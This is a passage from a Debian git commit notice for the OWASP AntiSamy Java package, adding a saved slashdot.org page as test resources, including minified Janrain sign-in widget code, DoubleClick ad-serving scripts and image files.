+Bb=d.noReturnExperienceSwitchAccountLink;la=d.providers;"undefined"===typeof janrain.settings.translate&&(janrain.settings.translate=d.translate={});if(d.customOpenid&&i("customizable_auth_widget_styling")){if(!d.customOpenidLargeIcon)return p.log("Missing customOpenidLargeIcon. customOpenidLargeIcon is required and should be the full path to an image that is 50px x 50px."),p.show(),!1;Ia={largeIcon:d.customOpenidLargeIcon,customOpenIdProviderName:d.customOpenIdProviderName||janrain.set [...]
+"Sign in",customOpenIdProviderColor:d.customOpenIdProviderColor}}if(d.customSAML&&i("customizable_auth_widget_styling")){if(!d.customSAMLLargeIcon)return p.log("Missing customSAMLLargeIcon. customSAMLLargeIcon is required and should be the full path to an image that is 50px x 50px."),p.show(),!1;Wa={largeIcon:d.customSAMLLargeIcon,customSAMLProviderName:d.customSAMLProviderName||janrain.settings.translate.SIGN_IN||"Sign in",customSAMLProviderColor:d.customSAMLProviderColor}}d.previewMod [...]
+z&&(janrain.ready?b():X(window,"load",b)),"embed"===z&&(janrain.ready?c():X(window,"load",c))):("modal"===z&&(janrain.ready?F():X(window,"load",F)),"embed"===z&&(janrain.ready?g():X(window,"load",g)))}var ga,fa=!1,ra="janrain_engage_facebook_auto_login",Na,$a=!1,Ha=!1,ba=!1,Aa="url",$,Ma,z="embed",ha="unknown",qa=!1,Ca=300,ba=!1,Ya=!0,aa=!1,oa="default",Ia,Wa,Xa,l,gb,Da,hb,Fa,j,P,ib,wa,ea,Z,xa,ya,la=[],Ab=!1,qb,pb,mb,nb,ob,rb,sb,tb,jb,lb,Bb,kb,bb=!1,Qa=!1;janrain.events.onAuthWidgetLoad| [...]
+I());janrain.events.onModalWidgetReady||(janrain.events.onModalWidgetReady=I());janrain.events.onReturnExperienceFound||(janrain.events.onReturnExperienceFound=I());janrain.events.onAuthWidgetLoad.addHandler(function(){Qa=!0;var a=(new O).getCookie(ra);fa&&!a&&e()});janrain.events.onAuthWidgetLoad.addHandler(function(){"function"===typeof janrainWidgetOnload&&(aa?janrainWidgetOnload():j?janrainWidgetOnload(j.getState()):janrainWidgetOnload())});for(var db,Ra=0,Cb,Db="onAuthWidgetContentP [...]
+ub=0;ub<Db.length;ub++)"undefined"===typeof janrain.events[Db[ub]]&&(janrain.events[Db[ub]]=new Ga);janrain.events.onProviderLoginError.addHandler(function(a){if(aa)return!0;var b=S("login_tab");if("modal"===z){var c=document.getElementById("janrainModal");c&&c.appendChild(j.getErrorPage(b,a.err))}"embed"===z&&(c=document.getElementById("janrainEngageEmbed"))&&ma(c,j.getErrorPage(b,a.err))});da();return{status:"loaded",appendTokenParams:function(a,b){Ba(a,b)},appendTokenParamsCumulative: [...]
+!0)},setBackplaneChannel:function(a){Na=a},setLoginCookie:function(a,b){ja(a,b)},loginHandler:function(a){var b=Aa;a?("ok"===a.stat&&("event"===b||"hybrid"===b?Y(a.redirectUrl):(b=document.createElement("form"),b.action=a.redirectUrl,b.method="POST",janrain.settings.targetTop&&(b.target="_top"),document.body.appendChild(b),b.submit())),"fail"===a.stat&&(a.err&&160===a.err.code?janrain.events.onProviderLoginCancel.fire(a):janrain.events.onProviderLoginError.fire(a),"undefined"!==typeof db [...]
+M()},cancelLogin:function(a){M(a,d.appUrl);aa||j.removeNotice()},removeNotice:function(){j.removeNotice()},setWelcomeInfoName:function(a,b){V(a,b)},setReturnExperience:function(a,b){pa(a,b)},setNoReturnExperience:function(a,b){var c;"boolean"===typeof a&&j?(j.setNoReturnExperience(a),b||j.refresh(),c=!0):c=!1;return c},setNoReturnExperienceSwitchAccountLink:function(a){"boolean"===typeof a&&j?(j.setNoReturnExperienceSwitchAccountLink(a).refresh(),a=!0):a=!1;return a},setPreviewMode:funct [...]
+typeof a&&j?(j.setPreviewMode(a).refresh(),a=!0):a=!1;return a},setConfigureMode:function(a){"boolean"===typeof a&&j?(j.setConfigureMode(a).refresh(),a=!0):a=!1;return a},setCustom:function(a){aa=a},getState:function(){return"object"===typeof j?j.getState():!1},setProviderFlow:function(b,c){var d;d=!i("customizable_auth_widget_styling")||!aa?!1:a().setProviderFlow(b,c);return d},triggerFlow:function(b){b=!i("customizable_auth_widget_styling")||!aa?!1:a().triggerFlow(b);return b},debugDum [...]
+typeof console){console.log("-------------START---------------");null!==document.doctype?(console.log("DOCTYPE Name: "+document.doctype.name),console.log("DOCTYPE NodeType: "+document.doctype.nodeType)):console.log("DOCTYPE name: not available (probably quirks mode)");console.log("User Agent: "+navigator.userAgent);console.log("App Version: "+navigator.appVersion);console.log("Platform: "+navigator.platform);console.log("OS CPU: "+navigator.oscpu);console.log("Language: "+navigator.langu [...]
+console.log("Web Address: "+location.href);console.log("Cookies Enabled: "+navigator.cookieEnabled);console.log("COOKIES::: "+document.cookie);console.log("AUTH SETTINGS:::");for(var a in janrain.settings)if(console.log(" ---- "+a+": "+janrain.settings[a]),"object"===typeof janrain.settings[a])for(var b in janrain.settings[a])"function"!==typeof janrain.settings[a][b]&&console.log(" --- --- "+b+": "+janrain.settings[a][b]);console.log("-------------END---------------")}},version:"not sur [...]
+setBackgroundColor:function(a){return A(a)},setBorderColor:function(a){return Q(a)},setBorderRadius:function(a){return K(a)},setWidth:function(a){return T(a)},setActionText:function(a){return H(a)},setFontFamily:function(a){return ka(a)},setFontSize:function(a){return na(a)},setFontColor:function(a){return E(a)},setFormat:function(a){return D(a)},setButtonBorderColor:function(a){return W(a)},setButtonBorderRadius:function(a){return U(a)},setButtonBackgroundStyle:function(a){return ca(a)} [...]
+"object"===typeof j&&(u?j.setProviders(a):j.setProviders(a).refresh(),b=!0);return b},setProvidersPerPage:function(a){return k(a)},setShowAttribution:function(a){var b;i("customizable_auth_widget_hide_attribution")?"object"===typeof j&&j.setShowAttribution(a).refresh():b=!1;return b},refresh:function(){return j.refresh()},getWidth:function(){return j.getWidth()}},modal:{init:function(){b()},close:function(){"object"==typeof l&&l.close()},create:function(){return new Lb},setBorder:functio [...]
+("object"===typeof l&&(l.setBorder(a),l.refresh({center:!0})),a=!0):a=!1;return a},setBorderColor:function(a){i("customizable_auth_widget_styling")?("object"===typeof l&&(l.setBorderColor(a),l.refresh()),a=!0):a=!1;return a},setBorderOpacity:function(a){i("customizable_auth_widget_styling")?("object"===typeof l&&(l.setBorderOpacity(a),l.refresh()),a=!0):a=!1;return a},setBorderRadius:function(a){i("customizable_auth_widget_styling")?("object"==typeof l&&(l.setBorderRadius(a),l.refresh()) [...]
+!1;return a}}}};var F=new function(){return{status:"not loaded"}},ra=new function(){return{status:"not loaded"}},Na=new function(){return{status:"not loaded"}},Yb=new function(){return{status:"not loaded"}};return{engage:{signin:"loaded"===fa(janrain,"engage.signin.status")?janrain.engage.signin:Ba,share:"loaded"===fa(janrain,"engage.share.status")?janrain.engage.share:F,publish:"loaded"===fa(janrain,"engage.publish.status")?janrain.engage.publish:ra,simpleshare:"loaded"===fa(janrain,"en [...]
+janrain.engage.simpleshare:Na},capture:{ui:Yb}}}();janrain.engage=janrain.apps.engage;janrain.capture=janrain.apps.capture;
\ No newline at end of file
diff --git a/src/test/resources/s/slashdot.org_files/mainpage_p33_powerswitch;pg=index2;logged_in=0;tile=3;sz=980x66;u= b/src/test/resources/s/slashdot.org_files/mainpage_p33_powerswitch;pg=index2;logged_in=0;tile=3;sz=980x66;u=
new file mode 100644
index 0000000..b51cb1e
--- /dev/null
+++ b/src/test/resources/s/slashdot.org_files/mainpage_p33_powerswitch;pg=index2;logged_in=0;tile=3;sz=980x66;u=
@@ -0,0 +1 @@
+document.write('<a target="_top" href="http://ad.doubleclick.net/click;h=v8/3d75/0/0/%2a/i;44306;0-0;0;49089919;32042-980/66;0/0/0;u=;~okv=;pg=index2;logged_in=0;tile=3;sz=980x66;u=;~sscs=%3f"><img src="http://s0.2mdn.net/viewad/817-grey.gif" border=0 alt="Click here to find out more!"></a>');
diff --git a/src/test/resources/s/slashdot.org_files/mars_64.png b/src/test/resources/s/slashdot.org_files/mars_64.png
new file mode 100644
index 0000000..7909572
Binary files /dev/null and b/src/test/resources/s/slashdot.org_files/mars_64.png differ
diff --git a/src/test/resources/s/slashdot.org_files/microsoft_64100.png b/src/test/resources/s/slashdot.org_files/microsoft_64100.png
new file mode 100644
index 0000000..96e3cf2
Binary files /dev/null and b/src/test/resources/s/slashdot.org_files/microsoft_64100.png differ
diff --git a/src/test/resources/s/slashdot.org_files/networking_64.png b/src/test/resources/s/slashdot.org_files/networking_64.png
new file mode 100644
index 0000000..193bb0f
Binary files /dev/null and b/src/test/resources/s/slashdot.org_files/networking_64.png differ
diff --git a/src/test/resources/s/slashdot.org_files/pg_index_CPL_medrec;pg=index;logged_in=0;tile=6;sz=300x250;ord=892495382577180.9 b/src/test/resources/s/slashdot.org_files/pg_index_CPL_medrec;pg=index;logged_in=0;tile=6;sz=300x250;ord=892495382577180.9
new file mode 100644
index 0000000..903023c
--- /dev/null
+++ b/src/test/resources/s/slashdot.org_files/pg_index_CPL_medrec;pg=index;logged_in=0;tile=6;sz=300x250;ord=892495382577180.9
@@ -0,0 +1,23 @@
+var divid='dclkAdsDivID_9479';
+document.write('<div id=' + divid + '></div>');
+var adsenseHtml_9479 = "<html><head><style><!--\na:link { color: #000000 }a:visited { color: #000000 }a:hover { color: #000000 }a:active { color: #000000 } --></style><script><!--\n(function(){window.ss=function(d,e){window.status=d;var c=document.getElementById(e);if(c){var a;a=c.href;var b=a.match(\"^(.*)([?|&]nm=)([^&]*)(.*)$\");b?(b[3]=String((Number(b[3])||0)+1),b[0]=\"\",a=b.join(\"\")):a+=\"&nm=1\";c.href=a}return!0};})();function su(id) {var a = document.getElementById(id);var b [...]
+var iframe_9479=document.createElement('iframe');
+iframe_9479.id='dclkAdsFrameID_9479';
+iframe_9479.name='dclkAdsFrameName_9479';
+iframe_9479.src="about:blank";
+iframe_9479.scrolling="no";
+iframe_9479.width=300;
+iframe_9479.height=250;
+iframe_9479.frameborder=0;
+iframe_9479.style.border=0;
+iframe_9479.allowtransparency="true";
+iframe_9479.hspace=0;
+iframe_9479.vspace=0;
+iframe_9479.marginHeight=0;
+iframe_9479.marginWidth=0;
+var parent_9479 = document.getElementById(divid);
+parent_9479.appendChild(iframe_9479);
+var iframeDoc_9479 = document.getElementById("dclkAdsFrameID_9479").contentWindow.document;
+iframeDoc_9479.open();
+iframeDoc_9479.write(adsenseHtml_9479);
+window.setTimeout("iframeDoc_9479.close();", 2000);
diff --git a/src/test/resources/s/slashdot.org_files/pg_index_google_medrec;pg=index2;logged_in=0;tile=8;sz=300x250,300x600;u= b/src/test/resources/s/slashdot.org_files/pg_index_google_medrec;pg=index2;logged_in=0;tile=8;sz=300x250,300x600;u=
new file mode 100644
index 0000000..831ab0c
--- /dev/null
+++ b/src/test/resources/s/slashdot.org_files/pg_index_google_medrec;pg=index2;logged_in=0;tile=8;sz=300x250,300x600;u=
@@ -0,0 +1,23 @@
+var divid='dclkAdsDivID_1585';
+document.write('<div id=' + divid + '></div>');
+var adsenseHtml_1585 = "<!doctype html><html><head></head><body leftMargin=\"0\" topMargin=\"0\" marginwidth=\"0\" marginheight=\"0\"><script>var viewReq = new Array();function vu(u) {var i=new Image();i.src=u.replace(\"&\",\"&\");viewReq.push(i);}</script><script>vu(\"http://adx.g.doubleclick.net/pagead/adview?ai\\x3dCm31usikCUfaWFO3T0AH1o4GwB_fI_bwD_9On2FqXiYuIRBABIABQgMfhxARgw9ykhZgYggEXY2EtcHViLTQwMDY4MTg0ODc0NTg1MDDIAQmoAwGqBF1P0D2ZOGcRe0j6VUPT9wLNcpfvSFsvyciwYlwYC1iXSqA0A33qMW3 [...]
+var iframe_1585=document.createElement('iframe');
+iframe_1585.id='dclkAdsFrameID_1585';
+iframe_1585.name='dclkAdsFrameName_1585';
+iframe_1585.src="about:blank";
+iframe_1585.scrolling="no";
+iframe_1585.width=300;
+iframe_1585.height=250;
+iframe_1585.frameborder=0;
+iframe_1585.style.border=0;
+iframe_1585.allowtransparency="true";
+iframe_1585.hspace=0;
+iframe_1585.vspace=0;
+iframe_1585.marginHeight=0;
+iframe_1585.marginWidth=0;
+var parent_1585 = document.getElementById(divid);
+parent_1585.appendChild(iframe_1585);
+var iframeDoc_1585 = document.getElementById("dclkAdsFrameID_1585").contentWindow.document;
+iframeDoc_1585.open();
+iframeDoc_1585.write(adsenseHtml_1585);
+window.setTimeout("iframeDoc_1585.close();", 2000);
diff --git a/src/test/resources/s/slashdot.org_files/pg_index_p1_leader;pg=index2;logged_in=0;tile=1;sz=728x90;u= b/src/test/resources/s/slashdot.org_files/pg_index_p1_leader;pg=index2;logged_in=0;tile=1;sz=728x90;u=
new file mode 100644
index 0000000..b5eb584
--- /dev/null
+++ b/src/test/resources/s/slashdot.org_files/pg_index_p1_leader;pg=index2;logged_in=0;tile=1;sz=728x90;u=
@@ -0,0 +1,23 @@
+var divid='dclkAdsDivID_16106';
+document.write('<div id=' + divid + '></div>');
+var adsenseHtml_16106 = "<html><head><style><!--\na:link { color: #000000 }a:visited { color: #000000 }a:hover { color: #000000 }a:active { color: #000000 } --></style><script><!--\n(function(){window.ss=function(a){window.status=a;return!0};})();function cs(){window.status=\'\';}function st(id) {var a = document.getElementById(id);if (a) {}return true;}function ha(a,x){ }function ca(a) { top.location.href=document.getElementById(a).href;}function ga(o,e,x) {if (document.getElementByI [...]
+var iframe_16106=document.createElement('iframe');
+iframe_16106.id='dclkAdsFrameID_16106';
+iframe_16106.name='dclkAdsFrameName_16106';
+iframe_16106.src="about:blank";
+iframe_16106.scrolling="no";
+iframe_16106.width=728;
+iframe_16106.height=90;
+iframe_16106.frameborder=0;
+iframe_16106.style.border=0;
+iframe_16106.allowtransparency="true";
+iframe_16106.hspace=0;
+iframe_16106.vspace=0;
+iframe_16106.marginHeight=0;
+iframe_16106.marginWidth=0;
+var parent_16106 = document.getElementById(divid);
+parent_16106.appendChild(iframe_16106);
+var iframeDoc_16106 = document.getElementById("dclkAdsFrameID_16106").contentWindow.document;
+iframeDoc_16106.open();
+iframeDoc_16106.write(adsenseHtml_16106);
+window.setTimeout("iframeDoc_16106.close();", 2000);
diff --git a/src/test/resources/s/slashdot.org_files/pg_index_p31_lower_poll_spons;pg=index;logged_in=0;tile=5 b/src/test/resources/s/slashdot.org_files/pg_index_p31_lower_poll_spons;pg=index;logged_in=0;tile=5
new file mode 100644
index 0000000..45ca8a5
--- /dev/null
+++ b/src/test/resources/s/slashdot.org_files/pg_index_p31_lower_poll_spons;pg=index;logged_in=0;tile=5
@@ -0,0 +1 @@
+document.write('<a target="_top" href="http://ad.doubleclick.net/click;h=v8/3d75/0/0/%2a/x;44306;0-0;0;47077325;255-0/0;0/0/0;;~okv=;pg=index;logged_in=0;tile=5;~sscs=%3f"><img src="http://s0.2mdn.net/viewad/817-grey.gif" border=0 alt="Click here to find out more!"></a>');
diff --git a/src/test/resources/s/slashdot.org_files/pg_index_p83_medrec;pg=index2;logged_in=0;tile=4;sz=300x250,300x600;u= b/src/test/resources/s/slashdot.org_files/pg_index_p83_medrec;pg=index2;logged_in=0;tile=4;sz=300x250,300x600;u=
new file mode 100644
index 0000000..08a6435
--- /dev/null
+++ b/src/test/resources/s/slashdot.org_files/pg_index_p83_medrec;pg=index2;logged_in=0;tile=4;sz=300x250,300x600;u=
@@ -0,0 +1 @@
+document.write('<script language=\"JavaScript\" type=\"text/javascript\" src=\"http://view.atdmt.com/MRT/jview/429767135/direct;vt.1;wi.300;hi.600/01/3333755?click=http://ad.doubleclick.net/click%3Bh%3Dv8/3d75/3/0/%2a/g%3B266254990%3B0-0%3B4%3B47077323%3B4986-300/600%3B51985928/51946686/1%3Bu%3D%3B%7Eokv%3D%3Bpg%3Dindex2%3Blogged_in%3D0%3Btile%3D4%3Bsz%3D300x250%2C300x600%3Bu%3D%3B%7Esscs%3D%3f\">\n<\/script>');document.write('\n<noscript><a href=\"http://ad.doubleclick.net/click%3Bh%3Dv [...]
diff --git a/src/test/resources/s/slashdot.org_files/pg_index_p85_medrec;pg=index2;logged_in=0;tile=7;sz=300x250,300x600;u= b/src/test/resources/s/slashdot.org_files/pg_index_p85_medrec;pg=index2;logged_in=0;tile=7;sz=300x250,300x600;u=
new file mode 100644
index 0000000..c97055b
--- /dev/null
+++ b/src/test/resources/s/slashdot.org_files/pg_index_p85_medrec;pg=index2;logged_in=0;tile=7;sz=300x250,300x600;u=
@@ -0,0 +1,23 @@
+var divid='dclkAdsDivID_28803';
+document.write('<div id=' + divid + '></div>');
+var adsenseHtml_28803 = "<style>body{margin:0;padding:0}</style><script>window.dabtiming={report:function(){},load:{tick:function(){}}};</script><div id=\"google_flash_inline_div\" style=\"position:relative;z-index:1001;width:300px\"><div id=\"google_flash_div\" style=\"position:absolute;left:0px;z-index:1001\"><OBJECT classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" id=\"google_flash_obj\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0 [...]
+var iframe_28803=document.createElement('iframe');
+iframe_28803.id='dclkAdsFrameID_28803';
+iframe_28803.name='dclkAdsFrameName_28803';
+iframe_28803.src="about:blank";
+iframe_28803.scrolling="no";
+iframe_28803.width=300;
+iframe_28803.height=250;
+iframe_28803.frameborder=0;
+iframe_28803.style.border=0;
+iframe_28803.allowtransparency="true";
+iframe_28803.hspace=0;
+iframe_28803.vspace=0;
+iframe_28803.marginHeight=0;
+iframe_28803.marginWidth=0;
+var parent_28803 = document.getElementById(divid);
+parent_28803.appendChild(iframe_28803);
+var iframeDoc_28803 = document.getElementById("dclkAdsFrameID_28803").contentWindow.document;
+iframeDoc_28803.open();
+iframeDoc_28803.write(adsenseHtml_28803);
+window.setTimeout("iframeDoc_28803.close();", 2000);
diff --git a/src/test/resources/s/slashdot.org_files/piracy_64.png b/src/test/resources/s/slashdot.org_files/piracy_64.png
new file mode 100644
index 0000000..06e8079
Binary files /dev/null and b/src/test/resources/s/slashdot.org_files/piracy_64.png differ
diff --git a/src/test/resources/s/slashdot.org_files/providers.css b/src/test/resources/s/slashdot.org_files/providers.css
new file mode 100644
index 0000000..78791d2
--- /dev/null
+++ b/src/test/resources/s/slashdot.org_files/providers.css
@@ -0,0 +1 @@
+.janrain-provider150-sprite,.janrain-provider150-aol,.janrain-provider150-blogger,.janrain-provider150-disqus,.janrain-provider150-facebook,.janrain-provider150-flickr,.janrain-provider150-foursquare,.janrain-provider150-google,.janrain-provider150-hyves,.janrain-provider150-linkedin,.janrain-provider150-live_id,.janrain-provider150-livejournal,.janrain-provider150-microsoft_live_connect,.janrain-provider150-mixi,.janrain-provider150-myopenid,.janrain-provider150-myspace,.janrain-provide [...]
diff --git a/src/test/resources/s/slashdot.org_files/sd_hub_icon;tile=2;sz=200x90 b/src/test/resources/s/slashdot.org_files/sd_hub_icon;tile=2;sz=200x90
new file mode 100644
index 0000000..c113b72
--- /dev/null
+++ b/src/test/resources/s/slashdot.org_files/sd_hub_icon;tile=2;sz=200x90
@@ -0,0 +1 @@
+document.write('<a target="_top" href="http://ad.doubleclick.net/click;h=v8/3d75/0/0/%2a/n;257279562;0-0;0;80204978;969-200/90;48226752/48240790/1;;~okv=;tile=2;sz=200x90;~sscs=%3fhttp://slashbi.p.slashdot.org/slashbi_signup.html"><img src="http://s0.2mdn.net/viewad/2757253/2675_SlashBIUpdate_HubIcon_v2.gif" border=0 alt="Click here to find out more!"></a>');
diff --git a/src/test/resources/s/slashdot.org_files/starwars_64.png b/src/test/resources/s/slashdot.org_files/starwars_64.png
new file mode 100644
index 0000000..c99dc73
Binary files /dev/null and b/src/test/resources/s/slashdot.org_files/starwars_64.png differ
diff --git a/src/test/resources/s/slashdot.org_files/tagger_v04.php b/src/test/resources/s/slashdot.org_files/tagger_v04.php
new file mode 100644
index 0000000..e69de29
diff --git a/src/test/resources/s/slashdot.org_files/wireless_64.png b/src/test/resources/s/slashdot.org_files/wireless_64.png
new file mode 100644
index 0000000..f212573
Binary files /dev/null and b/src/test/resources/s/slashdot.org_files/wireless_64.png differ
--
Alioth's /usr/local/bin/git-commit-notice on /srv/git.debian.org/git/pkg-java/libowasp-antisamy-java.git
More information about the pkg-java-commits
mailing list